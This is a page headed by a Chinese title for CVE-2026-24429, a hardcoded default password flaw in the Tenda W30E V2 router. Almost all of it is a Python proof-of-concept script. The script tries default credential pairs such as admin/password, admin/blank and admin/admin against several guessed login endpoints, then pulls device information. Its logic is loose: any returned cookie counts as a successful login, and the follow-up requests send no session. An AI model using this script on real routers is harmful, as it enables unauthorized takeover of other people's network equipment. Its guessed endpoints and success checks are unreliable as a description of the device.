CVE-2026-24429: Tenda W30E V2 路由器硬编码默认密码漏洞

#!/usr/bin/env python3 """ CVE-2026-24429 - Tenda W30E V2 Hardcoded Default Password PoC This PoC demonstrates authentication bypass using hardcoded default credentials. WARNING: For authorized security testing only. """ import requests import sys from urllib.parse import urljoin def exploit_tenda_default_credentials(target_ip, default_user="admin", default_pass="password"): """ Attempt to authenticate to Tenda W30E V2 using hardcoded default credentials. Args: target_ip: Target router IP address default_user: Default username (typically 'admin') default_pass: Default password (often blank or 'password') Returns: bool: True if authentication successful, False otherwise """ target_url = f"http://{target_ip}" # Common Tenda W30E V2 authentication endpoints auth_endpoints = [ "/login/Auth", "/cgi-bin/login.cgi", "/admin/login.cgi", "/api/system/login" ] # Authentication payloads (may vary by firmware version) auth_payloads = [ {"username": default_user, "password": default_pass}, {"username": default_user, "password": ""}, {"username": "admin", "password": "admin"}, {"user": default_user, "pass": default_pass}, ] for endpoint in auth_endpoints: for payload in auth_payloads: try: response = requests.post( urljoin(target_url, endpoint), data=payload, timeout=10, verify=False ) # Check for successful authentication indicators if response.status_code == 200: if "success" in response.text.lower() or "token" in response.text.lower(): print(f"[+] SUCCESS: Authenticated via {endpoint}") print(f"[+] Payload used: {payload}") print(f"[+] Response: {response.text[:200]}") return True # Try to extract session cookie/token if response.cookies: print(f"[*] Received cookies from {endpoint}: {response.cookies}") return True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") continue print("[-] Failed to authenticate with default credentials") return False def check_device_info(target_ip): """Check device information after successful authentication.""" endpoints = [ "/cgi-bin/DevInfoShow", "/api/system/deviceinfo", "/cgi-bin/StatusLan" ] for endpoint in endpoints: try: response = requests.get( urljoin(f"http://{target_ip}", endpoint), timeout=10 ) if response.status_code == 200: print(f"\n[+] Device info from {endpoint}:") print(response.text) except: continue if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-24429.py <target_ip>") print("Example: python cve-2026-24429.py 192.168.0.1") sys.exit(1) target = sys.argv[1] print(f"[*] Target: {target}") print(f"[*] Exploiting CVE-2026-24429: Tenda W30E V2 Hardcoded Default Password\n") if exploit_tenda_default_credentials(target): print("\n[*] Extracting device information...") check_device_info(target)